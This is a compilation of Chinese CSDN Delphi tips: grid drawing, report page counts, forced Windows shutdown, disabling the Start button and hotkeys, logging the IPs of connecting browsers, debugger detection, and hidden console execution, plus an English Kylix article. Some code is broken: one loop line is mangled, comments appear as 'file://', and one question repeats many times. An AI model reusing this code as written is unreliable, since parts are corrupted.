stringgrid1.Canvas.TextOut(rect.left+14,rect.top+8,'标题居中' );
end; ~~~~~~~~~~~~~~~~~~~~~~~~~\
请根据具体设置调节！

因为此事件被触发的条件，是发生cell被赋值时, 所以必须先将其置空值以触发Stringgrid
的onDrawCell事件！


CSDN_文档中心_在打印或打印预览前如何获取报表页数

我们有时需要在打印前获取报表的打印页数, 比如我们需要在页眉或页脚中打印“共 xx 页 第 xx 页”，那如何实现呢？ QuickRep生成Report之前，我们是无法得知报表页数的，而QuickReport是在打印或打印预览时才生成报表,换言之我们只有在 打印或打印预览前先将报表生成一次才能获取打印页数.生成报表的方法是 Prepare。参考以下的例子:
...
var nPageCount:integer；
begin
    {...}
     QuickRep1.Prepare；
     nPageCount:=QuickRep1.QRPrinter.PageCount；
     QuickRep1.QRPrinter.Free；
     QuickRep1.QRPrinter:=nil；
     {在此修改QuickRep1，实现在页眉或页脚中打印“共 xx 页 第 xx 页” ... }
     QuickRep1.PreView；
     {...}
End；


CSDN_文档中心_在应用程序中开关WINDOWS系统

在实际应用时,修改了系统的某些设置,必须重新启动WINDOWS;而有些时候演示完

一个软件后,必须关闭WINDOWS;同时在演示期间,又禁止用户强行关闭WINDOWS.如何

解决上述问题,笔者编制了一个程序全面地解决了上述问题.

  1. 实现原理:

    1.重新启动WINDOWS,关闭WINDOWS,结束当前的用户进程都是通过调用

    EXITWINDOWSEX函数实现的.该函数有两个参数,前一个参数使用EWX_FORCE表示

    强行关闭WINDOWS而不提醒保存其他应用程序的运行结果,后一个参数EWX_LOGOFF

    表示注销当前的用户进程; EWX_SHUTDOWN表示关闭WINDOWS; EWX_REBOOT表示

    重新启动WINDOWS.

    2.禁止关闭WINDOWS是通过关闭WINDOWS98时,系统向各应用程序发送的一个

    消息wm_queryendsession,通知各应用程序要关机了,如反馈回来的消息值为0,那么就不能

    关闭WINDOWS98.

    图1

  2. 应用实例:

  1. 建立含有如下控件的窗体:

控件 控件名 CAPTION

窗体 FORM1 重新启动WINDOWS系统

复选框 CHECKBOX1 强行结束当前的用户进程

复选框 CHECKBOX2 强行关机

复选框 CHECKBOX3 强行重新启动机器

复选框 CHECKBOX4 禁止关机

复选框 CHECKBOX5 退出

2.程序清单:

unit CLSW;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

CheckBox1: TCheckBox;

CheckBox2: TCheckBox;

CheckBox3: TCheckBox;

CheckBox4: TCheckBox;

CheckBox5: TCheckBox;

procedure CheckBox1Click(Sender: TObject);

procedure CheckBox2Click(Sender: TObject);

procedure CheckBox3Click(Sender: TObject);

procedure CheckBox5Click(Sender: TObject);

private

procedure wmqueryendsession(var msg:TMessage);

message wm_queryendsession;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CheckBox1Click(Sender: TObject);

var EWX_LOGOFF,EWX_FORCE:integer;

begin

EWX_LOGOFF:=0;

EWX_FORCE:=4;

EXITWINDOWSEX(EWX_FORCE OR EWX_LOGOFF,0);

end;

procedure TForm1.CheckBox2Click(Sender: TObject);

var EWX_SHUTDOWN,EWX_FORCE:integer;

begin

EWX_SHUTDOWN:=1;

EWX_FORCE:=4;

EXITWINDOWSEX(EWX_FORCE OR EWX_SHUTDOWN,0);

end;

procedure TForm1.CheckBox3Click(Sender: TObject);

var EWX_REBOOT,EWX_FORCE:integer;

begin

EWX_REBOOT:=2;

EWX_FORCE:=4;

EXITWINDOWSEX(EWX_FORCE OR EWX_REBOOT,0);

end;

procedure TForm1.wmqueryendsession(var msg: TMessage);

begin

if checkbox4.checked then

msg.result:=1

else

msg.result:=0;

end;

procedure TForm1.CheckBox5Click(Sender: TObject);

begin

close;

end;

end.

以上程序在WINDOWS 98、DEPHI 4.0环境中运行通过.


CSDN_文档中心_怎样编写支持多国语言的程序， 让它能够根据所运行的操作系统自动显示相应的文字。

Q：怎样编写支持多国语言的程序， 让它能够根据所运行的操作系统自动显示相应的文字。 而且不但要替换Windows标准对话框， 还要自动替换窗口标题、 按钮标题等所有显示的文字和所有错误提示。

A：使用Delphi 5的Integrated Translation Environment (ITE)可以轻易得完成这个工作。

我们创建一个示意性的工程MultiLanguage， 在Form上放一个Label和一个Button， 分别把Caption赋值为“English Label” 和“English Button”。

选择菜单Project|anguages|Add ...， Delphi显示Add Languages对话框， 选择Next。

从语言列表中选中“英语（美国）” 和“中文（中国）”， 选择Next。

ITE会根据所选的语言创建子目录，目录名称是语言的缩写，选择Next。

第一次增加语言时， Update Mode固定为Create new， 选择Next。

选择Finish。

Delphi会自动创建支持不同语言的资源动态库。

Delphi还会自动创建一个工程组， 其中包括原有的MultiLanguages.EXE， 还包括新建的两个资源动态库 （MultiLanguages.enu， MultiLanguages.chs）。 保存工程组。

Delphi启动Translation Manager， 左边是需要翻译的语言， 右边是完成百分比。

选择“中文（中国）”|Forms|Unit1， 在右边第15行和20行填写翻译后的中文。 保存并关闭。

打开Project Manager， 编译MultiLanguages.enu和MultiLanguages.chs， Delphi会在相应的子目录生成资源动态库， 但后缀不是DLL而是ENU和CHS。

孙立


CSDN_文档中心_怎样处理数据库中的NULL

Q：按照RDB理论，NULL与空格并不相同，有些情况下必须使用NULL。但程序语言中并不存在NULL这种数据类型，那么怎样处理数据库中的NULL呢？

A：

读取NULL时： Field.IsNull可以判断指定的静态字段是否为NULL。

赋值NULL时：如果使用Table.Insert，则未赋值的字段都被赋值为NULL。 如果使用Table.Edit，则Fiels.Clear可以把指定的静态字段赋值为NULL。果使用Query，则按照标准SQL语句处理。


CSDN_文档中心_怎样读出不同格式图形的高和宽

最近开发的一个系统，需根据用户提交的图片（图片文件以字符流的形式从客户机传到服务器）读出该图片的高和宽，通过下列代码实现了该功能，现在拿出来给大家参考。
……
type
TGIFHeader = packed record
Signature: array[0..2] of Char;
Version: array[0..2] of Char;
ScreenWidth: Word;
ScreenHeight: Word;
PackedFields,
BackgroundColorIndex,
AspectRatio: Byte;
end;
TGIFInfoHeader = TGIFHeader;
……
procedure Ttempphoto.AddMediaRec(out content_no, succed, errno,
errmsg: OleVariant; const PicName, Title, Author, Theme, PublishDate,
KeyWord: WideString; Length: SYSUINT; const Memo: WideString; PicHight,
PicWidth, Color_Pan: SYSUINT; content: OleVariant; PayNo: SYSINT;
const GroupNo: WideString);
file://过程中部分相关的代码
var
p : pwidechar;
bb : string;
tempchar : integer;
mm : SYSUINT;
jpeg: TJPEGImage;
Gif:TGIFInfoHeader;
bmp:TBitmapInfoHeader;
phowidth: integer;
Phoheight: integer;
ss:TStringStream;
fileheader:TBitmapfileheader;
begin
……

p := Tvardata(content).volestr;
setlength(bb,Length);
mm := 1;
while mm<=Length do
begin
tempchar := integer(p[(mm-1) div 2]);
bb[mm]:= chr(tempchar mod 256);
if mm mm := mm+2;
end;
file://读取图片的高和宽
ss:=tstringstream.Create(bb);
if ((PicName='jpg')or(PicName='jpeg')) then begin
jpeg:= TJPEGImage.Create;//需uses jpeg
jpeg.LoadFromStream(ss);
phowidth:=jpeg.width;
phoheight:=jpeg.height;
jpeg.free;
end
file://根据自己定义的gif格式图片文件头信息读取图片的高和宽
else if (PicName='gif') then begin
ss.Read(gif,sizeof(gif));
phowidth:=gif.ScreenWidth;
phoheight:=gif.ScreenHeight;
end
file://根据windows单元定义的bmp格式图片文件头信息读取图片的高和宽
else if (PicName='bmp') then begin
ss.Read(fileheader,sizeof(fileheader));
ss.Read(bmp,sizeof(bmp));
phowidth:=bmp.biWidth;
phoheight:=bmp.biHeight;
end
else begin
end;
ss.Free;
……
end;

更详细资料请访问我的个人主页http://aton.126.com


CSDN_文档中心_怎样屏蔽掉开始按钮？

procedure TForm1.Button1Click(Sender: TObject);
begin
{Disable the start button}
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', nil),false);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
{Enable the start button}
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),true);
end;

注意：如果按win键还是可以弹出开始菜单的。


CSDN_文档中心_怎样屏蔽或打开windows里的快捷键

屏蔽
var
Dummy: Integer;
begin
SystemParametersInfo( SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
end;

打开
var
Dummy: Integer;
begin
SystemParametersInfo( SPI_SETFASTTASKSWITCH, 0, @Dummy, 0);
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @Dummy, 0);
end;


CSDN_文档中心_怎样让程序延时

Q：怎样让程序延时

A：

procedure Delay(msecs:integer);

var
FirstTickCount:longint;

begin

FirstTickCount:=GetTickCount;
repeat
Application.ProcessMessages;
until ((GetTickCount-FirstTickCount) >= Longint(msecs));

end;


CSDN_文档中心_怎样通过编程方式管理nt的用户及其访问权限等

对于nt的新建用户、修改口令、设定访问权限等用户管理，怎样编程实现？


CSDN_文档中心_怎样向一个窗口中输入字符?(类似"软键盘")

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?

我想向一个窗口中"输入"字符,例如向一个记事本中输入"你好"(类似软键盘那样),请问应怎么办?


CSDN_文档中心_怎样修改windows里的开始按钮的位图？

/修改

var
Form1: TForm1;
StartButton: hWnd;
OldBitmap: THandle;
NewImage: TPicture;

/ 将代码放入FormCreate事件

procedure TForm1.FormCreate(Sender: TObject);
begin
NewImage := TPicture.create;
NewImage.LoadFromFile('C:\Windows\Circles.BMP');
StartButton := FindWindowEx
(FindWindow(
'Shell_TrayWnd', nil),
0,'Button', nil);
OldBitmap := SendMessage(StartButton,
BM_SetImage, 0,
NewImage.Bitmap.Handle);
end;

/还原
procedure TForm1.FormDestroy(Sender: TObject);
begin
SendMessage(StartButton,BM_SetImage,0,OldBitmap);
NewImage.Free;
end;

for win98se/delphi 5.0通过。


CSDN_文档中心_怎样用delphi制作一个IPhunter(独孤剑客的IP猎人)

有人说现在的程序员成了组装工人，其实很有道理，利用控件模块+少量代码就可以实现,delphi 5.0提供了丰富的internet控件，利用TCP/IP 客户端-服务端就可以解决问题。关键的控件是ServerSocket,我们模仿IPhunter的界面用一个button1（按钮）,一个combobox1（用于显示），这三个最基本的控件放置到空白窗体上就可以开始写代码了。
首先，这个combobox1必须能显示多个IP,我们定一个变量y来累加combobox1.items[y]，
var y:integer;
我们的思路如下，当ServerSocket活动的port(端口）收到基于TCP/IP协议的连结请求时候，返回对方的IP值，传递给combobox显示出来。由button1控制ServerSocket的激活，也就是打开关闭端口。
我们在ServerSocket的On ClientConnect事件中加入一下代码
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
combobox1.Items.Insert(y,'');//加入一条空纪录
combobox1.Items[y]:=socket.RemoteAddress;//获取对方的IP
label1.Text:='共捕获'+inttostr(y+1)+'个IP';//用一个标签来显示一共抓了多少IP
y:=y+1;//计数变量加1
socket.Close;
end;
现在，将button1的caption属性设置为 '开始',在它的单击事件中加入以下代码
procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
if speedbutton7.Caption='开始' then
begin
serversocket11.Port:=80;//这句可以在serversocket属性中设定，捕获浏览器的连接
ServerSocket11.Active:=true;//激活端口
speedbutton7.Caption:='停止';
end
else
begin
serversocket11.Active:=false;//关闭端口
speedbutton7.Caption:='开始';
combobox1.Clear;//结束捕获，清空历史信息
y:=0;//计数变量复位
end;
end;


CSDN_文档中心_怎样知道你的程序是运行在安全模式呢?

Use Windows API GetSystemMetrics with SM_CLEANBOOT parameter, this specifies how the system was started, in your project´s code use:

program Project1;

uses
Forms,
Windows,
Dialogs,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);

case GetSystemMetrics(SM_CLEANBOOT) of
1: begin
ShowMessage('Running in Safe Mode: Fail-Safe Boot');
Application.Terminate;
end;
2: begin
ShowMessage('Running in Safe Mode: Fail-safe with network boot');
Application.Terminate;
end;
end;

Application.Run;
end.


CSDN_文档中心_怎样知道我的程序是否运行在DELPHI?

function IsAppRunningInDelphi : boolean;
var
hKernelDll : THANDLE;
proc_IsDebuggerPresent : TProcIsDebuggerPresent;
useFindWindow : boolean;
proc : FARPROC;
begin
useFindWindow := true;
if (Win32Platform = VER_PLATFORM_WIN32_NT) then
begin
// WinNt
try
hKernelDll := GetModuleHandle(kernel32);
if (hKernelDll = -1) then
hKernelDll := LoadLibrary(kernel32);
if (hKernelDll <> -1) then
begin
proc := GetProcAddress(hKernelDll, 'IsDebuggerPresent');
if (proc <> nil) then
begin
proc_IsDebuggerPresent := proc;
result := proc_IsDebuggerPresent;
useFindWindow := false;
end;
end;
except
end;
end;
if (UseFindWindow) then
begin
if FindWindow('TAppBuilder', Nil) <> 0 Then
result := true
else
result := false;
end;
end;


CSDN_文档中心_真正的程序员用Pascal

Real Programmers Use Pascal

Real Programmers Use Pascal

by Ray Lischner, author of Delphi in a Nutshell

In case you haven't heard the news yet, Borland is porting their landmark Delphi product to Linux. To many professional programmers, this is wonderful news. Earlier, you may have read Kylix is Coming!, in which I introduced the Kylix project and described it in general terms. Now that Borland has revealed more information about Kylix, I can give you more details.

Delphi is a rapid application development (RAD) environment, powered by a modern, object-oriented programming language and an extensible, component-based architecture. Currently, all this power is available only on Windows, where it is successfully being used in games, development tools, desktop applications, and used to drive web sites and connect multi-tier database systems. This article takes a closer look at Delphi for Linux and its companion product, C++ Builder for Linux.

Codename Kylix

Kylix is Borland's code name for a large project that involves porting Delphi and C++ Builder to Linux, working with tool and component builders to make sure third-party support is in place when the products ship, and getting the word out that rapid application development is coming to Linux.

Kylix isn't for everyone, though.

For one thing, the main programming language is Delphi Pascal. Just the name Pascal sends many programmers scurrying for the exits. But don't be too hasty. This is not your father's Pascal. A far cry from traditional Pascal, Delphi has a number of modern conveniences, such as:

  • Object-orientation (single inheritance of classes, multiple inheritance of interfaces, single root class)
  • Integer overflow checking
  • Array bounds checking
  • Exception handling
  • ANSI and Unicode strings
  • Runtime type information
  • Built-in assembler
  • Unit-based modular programming
  • Static or dynamic linking of units
  • Strongly typed, except when you need latent type checking, which comes in the form of the Variant type
  • Multithreading support (TThread class, synchronization, thread-local storage)
  • Function overloading
  • Arithmetic operator overloading
  • Fast, optimizing, native compiler

In other words, Delphi has everything a programmer needs for modern software development (with one exception--generic types--but no language is perfect).

Rapid Application Development

The Kylix package contains more than just a souped up Pascal compiler, though. The integrated development environment (IDE) supports rapid application development, which means:

  • Syntax-directed editor
  • Integrated debugger
  • Visual design of forms (windows and dialog boxes)
  • Visual design of menus
  • Extensible, component-based framework
    • Rich assortment of visual controls and widgets
    • Components to integrate with many popular SQL databases
    • Components for many popular Internet protocols
    • Commercial and freeware third-party components
  • Extensible design-time tools for creating:
    • Apache modules
    • Simple or complex database applications
  • Commercial and freeware third-party tools
  • Extensible IDE
    • No need to learn a separate extension or scripting language

Still not convinced? That's okay. As I wrote earlier, Kylix is not for everyone.

Don't use Kylix if:

  • You like to get your hands dirty in the code. If you don't want to click and drag a component, but would rather write a few hundred or thousand lines of code yourself, you probably won't like Kylix.

  • You need to write kernel modules. Kylix does not support the GNU extensions that the Linux kernel depends on. (In particular, Kylix has a different syntax for writing inline assembly language.)

  • You are writing intensive numerical code. Kylix has an optimizing compiler, but it doesn't optimize floating-point arithmetic.

  • You have all the free time in the world to spend banging out code.
What Is RAD?

Now you know what Kylix isn't good for. What use is it? Rapid application development means just that--writing applications quickly and effectively.

Applications can be desktop tools, from games to word processors. They can be database clients, servers, or middle-tier layers. They can be network clients such as email readers, or network servers such as web servers.

The "rapid" part of the description means you can use Kylix to write applications faster than you could with traditional tools, such as gcc, emacs, vi, and gdb.

The first part of being rapid is the ability to design forms (windows and dialog boxes) visually. Click on a component, drop it on a form. Select a component and modify its properties. These features are commonplace, and you can find them in Glade, KDevelop, and other tools, so it's no surprise to find this feature in Kylix.

Kylix is much more than a mere GUI-builder, though. It uses an extensible, component-based framework for widgets, database components, network components, and more. The framework is called CLX (component library for cross-platform, pronounced "kliks"). CLX is easily extensible. Already, third-party developers are writing components to supplement the standard components. Writing your own component can be as easy as deriving a new class from an existing component.

CLX comes in several parts:

  • BaseCLX contains the core parts of the component framework. Included are some simple collection classes (array-based lists), string-manipulation, I/O, date and time functions, file management, exception-handling, and more.

  • VisualCLX uses Qt , TrollTech's GUI toolkit, for graphics and visual controls. (Borland has negotiated a limited license with TrollTech, so if you purchase Kylix, you have a royalty-free license to use parts of Qt in freeware, shareware, and commercial products. You do not need to pay any additional fees to TrollTech for use of Borland-licensed Qt technology.)

  • DataCLX uses Borland's dbExpress to connect to a wide variety of SQL databases, including Interbase (which is now an Open Source product) and mySQL. You can use DataCLX in a single-tier architecture (database and application on the same machine), client/server, or multi-tier architecture.

  • NetCLX provides components for common Internet protocols, from direct socket access to TCP to FTP to HTTP. Write clients and servers, including Apache modules.

Because CLX is extensible, there will be a variety of components from third-parties. Several web sites (such as Delphi Super Page, and Torry's Delphi Pages ) host thousands of components that can be added to Delphi for Windows, and we can expect similar abundance of components after Kylix ships. Third-party tool and component vendors are already working with early releases of Kylix to get their components ready.

Components are convenient for many uses. For example, you can drop a POP3 Client component on a form, add a tree widget to display a hierarchy of folders, a list widget to display messages in a folder, and a text area to display a single message. To hook up these components, you add event handlers, which are just methods (member functions) declared in the form's class. Some event handlers are simple, such as the tree widget's OnChange handler, which looks up the selected folder, retrieves all the messages to display in the list widget. Because you have the full, object-oriented power of Delphi or C++ at your disposal, you can make the event handlers as simple or complicated as you want.

In less than a day, you can have a basic, but fully functional email client.

RAD has a bad rap in some circles because of tools that allow you to rapidly build extremely limited applications. The authors advertise that you can build applications with point-and-click ease without writing much code. We all know that real programming problems require real code.

What makes Kylix RAD especially powerful is that the CLX component framework simplifies the tedious aspects of application development, without hiding the power of the language and operating system. If you need to make system calls directly, you can.

Instead of wasting your time writing code to manage windows and widgets, you supply the guts of the application: business logic, computation, organization, or what have you. Kylix is designed for large and small applications. When writing code, the source editor helps you in many ways:

  • Color-coded syntax highlighting shows you reserved keywords, unbalanced strings or comments, and so on.

  • Can't remember a function name? Start typing, and the source editor shows you a list of names to choose from.

  • Can't remember the function parameters? The source editor tells you the names and types of the parameters.

  • Source file too big to find things? The Code Explorer shows all the classes, subroutines, types, and other declarations in the file, making it easier to navigate large files.

  • Where is this declared? Select an identifier and jump directly to its declaration, even if it is declared in a different file. You can also find all uses of a declaration within a project.

Even if the source editor is missing a feature that you want or need, you can extend the editor and other parts of the IDE.

Extensible IDE

Sometimes, though, you need more power than a component can provide. Kylix has an extensible IDE so you can add new design tools. For example, a menu bar is a component, as is a popup menu. These components, in turn, contain menu item components. Editing components is a poor way to design menus, so Kylix has an interactive menu editor that makes is easy to edit menus visually. Kylix also comes with wizards (as these tools are called) for designing database applications, web server modules, and more. Because the IDE is extensible, third-party developers are working on additional wizards, and you can write your own.

Some tools require you to learn a special extension language (such as Emacs Lisp). In Kylix, though, you can continue to use your everyday development language. Extend the Delphi IDE using Delphi or C++ Builder using C++. You can even extend Delphi with a wizard written in C++ Builder or vice versa, so third-party developers can use their language of choice and distribute their products to all Kylix users.

You can extend the IDE in several ways. You can:

  • add design windows, like the menu editor;
  • add menu items to the main menu bar and to the various popup menus in the source editor, form editor, and so on;
  • add items to the tool bars;
  • add form and project designers that build new forms, projects, or other files based on user-interaction;
  • customize key bindings (although this feature is more difficult than it should be);
  • interface with the debugger, form and source editors, and more.

On the other hand, if you prefer command line tools; if you don't want the convenience of a WYSIWYG form editor; if you like the challenge of locating and debugging buffer overruns; then by all means, continue to use your current tools. You wouldn't be happy with Delphi.

C++, Too!

Real Programmers use Pascal, but sometimes you need or prefer C++, so Kylix will include C++ Builder for Linux. C++ Builder uses the same IDE and component framework as Delphi, but with the C++ language. To use the Delphi component framework, you must use Borland-specific extensions to the C++ language. Note that C++ Builder does not support GNU extensions, so don't try to recompile the Linux kernel with C++ Builder.

If you prefer standards, C++ Builder can compile ISO standard C++ and C, too. You can compile any application that adheres to the ANSI/ISO standards, and you will probably find that C++ Builder for Linux compiles faster than gcc or g++. You also get the advantage of an extensible syntax-directed editor and an integrated debugger, even if you don't take advantage of CLX and the interactive form builder, menu builder, and other RAD tools.

Linux and Cross-platform

Kylix will produce native x86 code, producing standard ELF binaries (programs and shared objects). No byte-code, no virtual machine, no runtime library, no Windows emulator needed.

The first release of Kylix will not support other hardware platforms. You will be able to link gcc-compiled object files into a Delphi project, but g++ classes are not binary compatible with Delphi or C++ Builder. Future releases will probably support additional hardware platforms, as the market dictates. Perhaps we will see Delphi and C++ Builder on other operating systems, too.

CLX is portable between Linux and Windows, and is designed to support other platforms in the future. Thus, Delphi 6 for Windows will also support CLX (in addition to its native Windows component library, the VCL). Your source code can be ported without change between Linux and Windows, provided you avoid system-specific functions (or you can use conditional compilation).

Borland is firmly committed to remaining neutral when it comes to desktops and distributions. Naturally, they want you to use Kylix regardless of whether you prefer Red Hat, Mandrake, Caldera, Slackware, SuSE, or what have you, or whether you use KDE , GNOME, or just plain old fvwm. The development tool should not dictate end-user decisions. That said, the first release will favor KDE slightly because Kylix and KDE both use Qt . Kylix applications will run on GNOME, but will not take full advantage of GNOME-specific features. You can expect future releases to provide better support for GNOME.

The core Delphi Pascal language will not change significantly in Kylix, nor will Borland's C++ extensions. Most of the reference material in Delphi in a Nutshell will apply equally to Windows and Linux, except for a few Windows-specific features. I will post any language changes posted to oreilly.com.

How Kylix Will Save the World

Or not. Linux currently faces three significant hurdles against wide-spread acceptance as a desktop operating system: ease of installation, ease of use, and availability of applications. Kylix can't help with the first, but it can with the next two.

Why do I use Windows to read my email? Why am I writing this column under Windows? The simple reality is that many applications are available only under Windows. I've tried many email and news clients on Linux, but I prefer my Windows-based application (Agent, if you must know). I've tried numerous HTML editors, but I prefer Visual Page for Windows. One of the difficulties facing Linux application developers is that Linux lacks tools for producing high quality desktop applications.

If you want to throw together a quick and dirty interface, you can use Tcl/tk. If you need more programming guts behind the interface, switch to Python and Tk. If you need the performance of a natively compiled application, though, you must resort to C or C++. Sure, you have some toolkits, such as Qt and Jx. These toolkits even have basic IDEs. Kylix has all that and more.

Borland expects to deliver Kylix sometime in 2000. When Kylix ships, its feature list will read like the to-do list for other Linux RAD tools. For professional developers and many others, Kylix will be a valuable addition to the suite of development tools on Linux. Not everyone will want to use Kylix, and not everyone should. But if you value your time, if you want to use cutting-edge tools, if you want to make your mark in the Linux application space, you should take a close look at Kylix.

Post your responses to this article here,
or read what others have to say!

Ray Lischner is well-known in the Delphi community as an author and speaker. He wrote Delphi in a Nutshell, Secrets of Delphi 2, Hidden Paths of Delphi3, and numerous articles for Delphi Informant, Dr. Dobb's Journal and other magazines. His conference appearances include the annual Borland/Inprise conference, and he has spoken to Delphi users' groups across the country. He also wrote Shakespeare for Dummies. You can reach Ray at nutshell@tempest-sw.com.


CSDN_文档中心_执行控制台程序并且获得它的输出结果

前几日遇到的问题在各位的帮助下已经圆满解决，现在吧这段代码写出来，可能会有一点用处。
procedure CheckResult(b: Boolean);
begin
if not b then
Raise Exception.Create(SysErrorMessage(GetLastError));
end;

function RunDOS(const Prog, CommandLine,Dir: String;var ExitCode:DWORD): String;
var
HRead,HWrite:THandle;
StartInfo:TStartupInfo;
ProceInfo:TProcessInformation;
b:Boolean;
sa:TSecurityAttributes;
inS:THandleStream;
sRet:TStrings;
begin
Result := '';
FillChar(sa,sizeof(sa),0);
//设置允许继承，否则在NT和2000下无法取得输出结果
sa.nLength := sizeof(sa);
sa.bInheritHandle := True;
sa.lpSecurityDescriptor := nil;
b := CreatePipe(HRead,HWrite,@sa,0);
CheckResult(b);

FillChar(StartInfo,SizeOf(StartInfo),0);
StartInfo.cb := SizeOf(StartInfo);
StartInfo.wShowWindow := SW_HIDE;
//使用指定的句柄作为标准输入输出的文件句柄,使用指定的显示方式
StartInfo.dwFlags := STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW;
StartInfo.hStdError := HWrite;
StartInfo.hStdInput := GetStdHandle(STD_INPUT_HANDLE);//HRead;
StartInfo.hStdOutput := HWrite;

b := CreateProcess(PChar(Prog),//lpApplicationName: PChar
PChar(CommandLine), //lpCommandLine: PChar
nil, //lpProcessAttributes: PSecurityAttributes
nil, //lpThreadAttributes: PSecurityAttributes
True, //bInheritHandles: BOOL
CREATE_NEW_CONSOLE,
nil,
PChar(Dir),
StartInfo,
ProceInfo );

CheckResult(b);
WaitForSingleObject(ProceInfo.hProcess,INFINITE);
GetExitCodeProcess(ProceInfo.hProcess,ExitCode);

inS := THandleStream.Create(HRead);
if inS.Size>0 then
begin
sRet := TStringList.Create;
sRet.LoadFromStream(inS);
Result := sRet.Text;
sRet.Free;
end;
inS.Free;

CloseHandle(HRead);
CloseHandle(HWrite);
end;


CSDN_文档中心_直接访问WebBrowser控件中的HTML源码

直接访问WebBrowser控件中的HTML源码
华中师范大学
卢小海
---- 为了实现在自己的程序中显示HTML文档，我们一般采用IE(Internet Explorer本文中简称为IE)发行时附带的一个ActiveX控件TWebBrowser。这个控件使用和IE相同的内核，功能强大，并从Delphi5开始，正式得到Inprise公司的支持，取代了原来的那个THTML控件，成为Delphi中显示HTML文档的首选控件。

---- 但是在实际编程过程中，我发现这个控件提供的功能有很多限制，比如对HTML文档的浏览，只能通过指定URL或文件名来实现，不能像以往使用THTML控件那样直接读写HTML源码。因此如果程序动态生成了一段HTML文本，就必须把文本内容先写到一个临时文件，然后再将此文件的文件名传递给WebBrowser控件，实现显示。走这一个弯路使程序响应速度受到很大影响，而且容易遗留下一些"垃圾"(临时文件)。

---- 在考察了一些使用了WebBrowser控件的程序后，我发现大部分程序，如著名国产软件FoxMail，都是使用的通过临时文件传递HTML文档的方法；但一些国外的软件，如MS自己的OutLook Express则不存在这个问题，而因为其无需产生临时文件，因此对HTML文档的显示速度明显超过Foxmail。

---- 为此，我查阅了一些相关资料，最后在网友的帮助下找到了实现直接访问WebBrowser控件中的HTML源码的方法。在此要特别感谢白云黄鹤BBS(bbs.whnet.edu.cn)上的网友AngleFalls提供线索。

---- 其实，WebBrowser控件中的Document对象，这个对象提供了一个IPersistStreamInit接口，通过此接口，我们可以方便地实现对HTML源码的读写。

---- 以下是IPersistStreamInit接口的相关定义及说明：

{ IPersistStream interface }

{$EXTERNALSYM IPersistStream}
IPersistStream = interface(IPersist)
['{00000109-0000-0000-C000-000000000046}']
function IsDirty: HResult; stdcall;
// 最后一次存盘后是否被修改
function Load(const stm: IStream): HResult; stdcall;
// 从流中载入
function Save(const stm: IStream;
fClearDirty: BOOL): HResult; stdcall;
// 保存到流
function GetSizeMax(out cbSize: Largeint):
HResult; stdcall; // 取得保存所需空间大小
end;

{ IPersistStreamInit interface }

{$EXTERNALSYM IPersistStreamInit}
IPersistStreamInit = interface(IPersistStream)
['{7FD52380-4E07-101B-AE2D-08002B2EC713}']
function InitNew: HResult; stdcall; // 初始化
end;

首先来实现写，因为这是最迫切的要求：
procedure SetHtml(const WebBrowser:
TWebBrowser; const Html: string);
var
Stream: IStream;
hHTMLText: HGLOBAL;
psi: IPersistStreamInit;
begin
if not Assigned(WebBrowser.Document) then Exit;

hHTMLText := GlobalAlloc(GPTR, Length(Html) + 1);
if 0 = hHTMLText then RaiseLastWin32Error;

CopyMemory(Pointer(hHTMLText),
PChar(Html), Length(Html));

OleCheck(CreateStreamOnHGlobal
(hHTMLText, True, Stream));
try
OleCheck(WebBrowser.Document.
QueryInterface(IPersistStreamInit, psi));
try
OleCheck(psi.InitNew);
OleCheck(psi.Load(Stream));
finally
psi := nil;
